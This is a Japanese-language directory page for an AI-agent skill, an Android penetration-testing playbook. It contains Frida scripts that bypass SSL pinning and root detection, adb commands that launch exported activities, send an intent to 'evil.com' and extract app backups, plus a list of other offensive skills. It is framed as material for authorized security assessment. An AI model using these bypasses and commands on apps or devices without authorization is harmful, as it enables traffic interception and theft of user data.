Communityコーディング&開発github.com

yaklang/android-pentesting-tricks

Androidペネトレーションテストのプレイブック。SSLピンバイパス、エクスポートされたコンポーネントの悪用、WebViewの脆弱性、インテントリダイレクション、ルート検出バイパス、タップジャッキング、バックアップ抽出などのテストを、許可されたモバイルセキュリティ評価中に使用します。

android-pentesting-tricks とは?

このスキルは、Androidアプリケーションのセキュリティテストに特化した包括的なプレイブックです。開発者やセキュリティ研究者が、許可されたモバイルセキュリティ評価中に、SSLピンバイパス、エクスポートされたコンポーネントの悪用、WebViewの脆弱性、インテントリダイレクション、ルート検出バイパス、タップジャッキング、バックアップ抽出など、一般的なAndroidの脆弱性をテストするための実践的なコマンドとテクニックを提供します。主に yaklang プラットフォーム上で動作するように設計されており、実際のテストシナリオで即座に使用できる具体的なコードスニペットや手順が含まれています。このスキルは、標準的なペネトレーションテストのワークフローに統合できるよう、adbコマンド、Fridaスクリプト、APK分析手法を網羅しています。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/android-pentesting-tricks

Installed? Explore more コーディング&開発 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

android-pentesting-tricks は何をしますか?

Androidペネトレーションテストのプレイブック。許可されたモバイルセキュリティ評価中に、AndroidアプリケーションのSSLピンバイパス、エクスポートされたコンポーネントの悪用、WebViewの脆弱性、インテントリダイレクション、ルート検出バイパス、タップジャッキング、バックアップ抽出をテストする際に使用します。

はじめに

このプレイブックは、Androidアプリケーションの一般的な脆弱性を迅速に特定し、悪用するための一連のテクニックを提供します。各セクションには、実際のテストシナリオで使用できる具体的なコマンドと手順が含まれています。

前提条件

  • adb(Android Debug Bridge)がインストールされていること
  • Fridaがインストールされていること(動的計測用)
  • apktool、dex2jar、jadxなどのリバースエンジニアリングツール
  • テスト対象のデバイスまたはエミュレーターがroot化されていること(推奨)

テクニック一覧

1. SSLピンバイパス

アプリケーションが証明書ピン留めを実装している場合、以下のFridaスクリプトを使用してバイパスします。

// ssl_pinning_bypass.js
Java.perform(function() {
    var ArrayList = Java.use('java.util.ArrayList');
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    
    TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, authType, host, clientAuth, ocspData, tlsSctData) {
        return untrustedChain;
    };
});

実行方法:

frida -U -f com.example.app -l ssl_pinning_bypass.js --no-pause

2. エクスポートされたコンポーネントの悪用

AndroidManifest.xmlで exported="true" が設定されているアクティビティやサービスを特定します。

# エクスポートされたアクティビティをリスト化
aapt dump xmltree app.apk AndroidManifest.xml | grep -A 2 "activity.*exported"

# エクスポートされたアクティビティを起動
adb shell am start -n com.example.app/.vulnerable.Activity

3. WebViewの脆弱性

setJavaScriptEnabled(true) が有効になっているWebViewを確認します。

# apktoolでデコンパイルしてWebView設定を確認
apktool d app.apk -o output
cat output/smali/com/example/app/*.smali | grep -i "setJavaScriptEnabled"

4. インテントリダイレクション

悪意のあるインテントを送信して、アプリケーションのコンポーネントを誤った方向にリダイレクトします。

# インテントリダイレクションをテスト
adb shell am start -a android.intent.action.VIEW -d "http://evil.com" com.example.app/.vulnerable.Activity

5. ルート検出バイパス

ルート検出をバイパスするFridaスクリプト:

// root_detection_bypass.js
Java.perform(function() {
    // RootBeerライブラリのバイパス例
    var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
    RootBeer.isRooted.implementation = function() {
        return false;
    };
});

6. タップジャッキング

オーバーレイを使用してユーザーのタップを傍受する脆弱性をテストします。

# アプリケーションがFLAG_WINDOW_IS_OBSCUREDを使用しているか確認
adb shell dumpsys window windows | grep -i "obscured"

7. バックアップ抽出

android:allowBackup="true" が設定されている場合、アプリケーションデータを抽出します。

# アプリケーションデータのバックアップ
adb backup -f app_backup.ab com.example.app

# バックアップファイルをtar形式に変換
dd if=app_backup.ab bs=4 skip=1 | openssl zlib -d > app_backup.tar

免責事項

これらのテクニックは、許可されたセキュリティ評価においてのみ使用してください。無許可のデバイスやアプリケーションに対する使用は違法となる可能性があります。

参考資料

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

yaklang/cmdi-command-injection

Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

関連スキル